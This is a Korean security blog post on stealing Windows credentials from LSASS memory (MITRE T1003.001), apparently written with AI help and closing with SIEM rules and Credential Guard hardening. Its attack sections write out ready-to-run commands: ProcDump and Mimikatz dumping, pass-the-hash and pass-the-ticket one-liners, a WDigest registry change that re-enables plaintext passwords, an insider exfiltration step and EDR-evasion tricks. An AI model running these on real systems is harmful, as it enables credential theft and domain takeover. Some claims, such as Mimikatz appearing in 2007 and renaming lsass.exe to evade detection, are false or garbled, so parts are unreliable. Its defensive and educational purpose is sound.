COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
42개 APT 그룹이 LSASS 메모리에서 Windows 자격증명을 탈취하는 원리를 분석한다. Mimikatz 동작 구조부터 Credential Guard 방어까지.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE ATT&CK 프레임워크의 T1003.001 기법은 전 세계 42개 APT 그룹이 활용하는 자격증명 탈취 기법이다. 이 기법은 Windows 시스템의 LSASS(Local Security Authority Subsystem Service) 프로세스 메모리에서 직접 로그인 자격증명을 추출하는 방식으로, 2007년 Mimikatz 도구가 등장한 이후 사이버 공격의 핵심 기법으로 자리잡았다.
과거 공격자들은 Windows 시스템에서 자격증명을 얻기 위해 복잡한 과정을 거쳐야 했다. SAM 데이터베이스를 직접 해독하거나, 레지스트리를 뒤져서 암호화된 해시를 찾아내는 방식이었다. 하지만 이런 방법들은 시간이 오래 걸리고, 해시를 크래킹하는 추가 작업이 필요했다.
더 큰 문제는 도메인 환경에서였다. 로컬 계정 정보만으로는 네트워크 내 다른 시스템으로 이동하기 어려웠고, 도메인 관리자 권한을 얻기까지 여러 단계를 거쳐야 했다.
Windows는 사용자 편의성을 위해 로그인 후 메모리에 자격증명을 보관한다. 이는 Single Sign-On(SSO) 기능을 제공하기 위함인데, 사용자가 매번 비밀번호를 입력하지 않고도 네트워크 리소스에 접근할 수 있게 해줍니다.
문제는 이 자격증명들이 LSASS 프로세스 메모리에 평문이나 약한 암호화 형태로 저장된다는 점이다. 마치 집 열쇠를 현관문 옆에 걸어두는 것과 같은 상황이었다.
T1003.001은 Windows의 편의성을 위한 메모리 자격증명 저장 방식을 악용해, 복잡한 크래킹 과정 없이 즉시 사용 가능한 자격증명을 탈취하는 기법이다.
Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.
공격자는 LSASS 프로세스 메모리에 저장된 자격증명 자료에 접근을 시도한다. 사용자 로그온 후 시스템은 LSASS 프로세스 메모리에 다양한 자격증명 자료를 생성하고 저장하기 때문이다.
LSASS Memory 기법은 다음 5가지 핵심 요소로 구성된다:
| 용어 | 설명 |
|---|---|
| LSASS Memory | 역할: 활성 세션 자격증명 / 저장 위치: 프로세스 메모리 / 추출 난이도: 높음 (관리자 권한 필요) |
| SAM Database | 역할: 로컬 계정 해시 / 저장 위치: 레지스트리/파일 / 추출 난이도: 중간 (부팅 시 잠금) |
| NTDS.dit | 역할: 도메인 계정 해시 / 저장 위치: 도메인 컨트롤러 파일 / 추출 난이도: 높음 (DC 접근 필요) |
| LSA Secrets | 역할: 서비스 계정 비밀번호 / 저장 위치: 레지스트리 / 추출 난이도: 중간 (시스템 권한 필요) |
| Cached Credentials | 역할: 도메인 로그온 캐시 / 저장 위치: 레지스트리 / 추출 난이도: 중간 (오프라인 크래킹) |
공격자는 먼저 대상 시스템에서 LSASS 프로세스를 찾아야 한다. LSASS는 일반적으로 lsass.exe 이름으로 실행되며, 시스템 부팅 시 자동으로 시작된다.
# LSASS 프로세스 ID 확인
Get-Process lsass
# 또는 tasklist 명령어 사용
tasklist /fi "imagename eq lsass.exe"
LSASS는 SYSTEM 권한으로 실행되므로, 일반 사용자는 이 프로세스에 접근할 수 없다. 공격자는 먼저 관리자 또는 SYSTEM 권한을 획득해야 한다.
권한을 획득한 공격자는 여러 방법으로 LSASS 메모리를 덤프할 수 있다:
방법 1: Windows 작업 관리자 이용
작업 관리자 → 세부 정보 → lsass.exe 우클릭 → 덤프 파일 만들기
방법 2: ProcDump 도구 사용
# Microsoft Sysinternals ProcDump 사용
procdump.exe -ma lsass.exe lsass.dmp
방법 3: PowerShell 스크립트
# PowerShell을 통한 메모리 덤프
$proc = Get-Process lsass
$dumpPath = "C:\temp\lsass.dmp"
# MiniDumpWriteDump API 호출 (코드 생략)
LSASS 프로세스는 여러 SSP(Security Support Provider)를 로드하여 다양한 인증 프로토콜을 처리한다:
각 SSP는 다음과 같은 자격증명을 저장한다:
덤프 파일에서 실제 자격증명을 추출하는 과정은 복잡한다. 각 SSP마다 다른 메모리 구조와 암호화 방식을 사용하기 때문이다.
Mimikatz를 이용한 추출 예시:
# Mimikatz로 덤프 파일 분석
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
추출되는 정보 예시:
Authentication Id : 0 ; 1234567
Session : Interactive from 1
User Name : administrator
Domain : COMPANY
Logon Server : DC01
Logon Time : 2024/01/15 09:30:25
SID : S-1-5-21-1234567890-987654321-1122334455-500
msv :
[00000003] Primary
* Username : administrator
* Domain : COMPANY
* NTLM : aad3b435b51404eeaad3b435b51404ee
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
kerberos :
* Username : administrator
* Domain : COMPANY.LOCAL
* Password : P@ssw0rd123!
추출된 자격증명은 다양한 방식으로 악용된다:
Pass-the-Hash 공격:
# NTLM 해시를 이용한 인증
mimikatz.exe "sekurlsa::pth /user:administrator /domain:company /ntlm:aad3b435b51404eeaad3b435b51404ee /run:cmd.exe"
Pass-the-Ticket 공격:
# Kerberos 티켓을 이용한 인증
mimikatz.exe "kerberos::ptt ticket.kirbi"
Windows 8.1부터는 WDigest가 기본적으로 평문 비밀번호를 저장하지 않도록 변경되었다. 하지만 공격자들은 이를 우회하는 방법을 찾아냈다:
# WDigest 활성화 (레지스트리 수정)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
# 사용자 재로그인 후 평문 비밀번호 획득 가능
공격자에게 LSASS 메모리는 "자격증명 보물창고" 이다. 한 번의 성공적인 덤핑으로 다음을 모두 획득할 수 있기 때문이다:
시나리오 1: APT29의 LSASS 덤핑
다이어그램
시나리오 2: 내부자 위협 조직 내부의 IT 관리자가 악의적으로 LSASS를 덤핑하는 경우:
# 정상적인 관리 작업으로 위장
$reason = "시스템 문제 해결을 위한 메모리 덤프"
procdump.exe -ma lsass.exe "C:\temp\system_debug.dmp"
# 덤프 파일을 개인 시스템으로 복사
copy "C:\temp\system_debug.dmp" "D:\personal\backup\"
기법 1: 직접 시스템 호출 최신 EDR 솔루션의 API 후킹을 우회하기 위해 직접 시스템 호출을 사용한다:
// 일반적인 API 호출 (탐지됨)
OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
// 직접 시스템 호출 (탐지 어려움)
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
기법 2: 프로세스 이름 변조 LSASS를 다른 이름으로 실행하여 탐지를 회피한다:
# 정상 프로세스로 위장
copy lsass.exe svchost.exe
# 또는 DLL 인젝션을 통한 메모리 접근
기법 3: 분할 덤핑 전체 메모리를 한 번에 덤핑하지 않고 여러 번에 나누어 수행한다:
# 메모리 영역을 작은 청크로 분할하여 덤핑
for region in memory_regions:
if region.size < 1024 * 1024: # 1MB 미만만 덤핑
dump_memory_region(region)
time.sleep(random.randint(1, 5)) # 랜덤 지연
CVE-2024-49113 (LDAPNightmare) SafeBreach Labs에서 발견한 이 취약점은 DNS 인터넷 연결만으로 LSASS를 충돌시킬 수 있다:
CVE-2016-7237 (MS16-137) NTLM 인증 과정에서 발생하는 NULL 포인터 역참조 취약점:
# 공격 코드 예시 (교육 목적)
def trigger_lsass_crash():
# ASN1 인코딩된 메시지에서 0x84 길이 필드 설정
malformed_packet = create_ntlm_packet()
malformed_packet.length_field = 0x84 # 거대한 메모리 할당 유발
send_smb_packet(target_ip, malformed_packet)
탐지 규칙 설정
# SIEM 탐지 규칙 예시
rule: LSASS Memory Access
condition:
- process_name: contains("lsass.exe")
- access_type: "PROCESS_VM_READ"
- source_process: not_in(["winlogon.exe", "csrss.exe"])
severity: HIGH
메모리 보호 강화
# LSA Protection 활성화
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1
# Credential Guard 활성화 (Windows 10 Enterprise)
bcdedit /set {current} hypervisorlaunchtype auto
bcdedit /set {current} vsmlaunchtype auto
네트워크 세그멘테이션
행동 기반 탐지
{
"rule_name": "Suspicious LSASS Access Pattern",
"conditions": [
{
"event_type": "process_access",
"target_process": "lsass.exe",
"access_rights": ["PROCESS_VM_READ", "PROCESS_QUERY_INFORMATION"],
"frequency": "multiple_attempts_short_timeframe"
}
],
"response": "isolate_endpoint"
}
T1003.001 LSASS Memory 기법은 Windows 인증 시스템의 편의성을 악용하여, 메모리에서 직접 자격증명을 탈취하는 강력한 공격 기법이다. 42개 APT 그룹이 이 기법을 사용하는 이유는 한 번의 성공으로 도메인 전체를 장악할 수 있는 자격증명을 획득할 수 있기 때문이다.
이 기법과 관련된 다른 자격증명 탈취 방법들도 함께 이해하면 더욱 포괄적인 방어 전략을 수립할 수 있다:
다음에는 추출된 자격증명을 실제로 악용하는 방법들인 Kerberos 공격 기법들을 살펴볼 예정이다:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.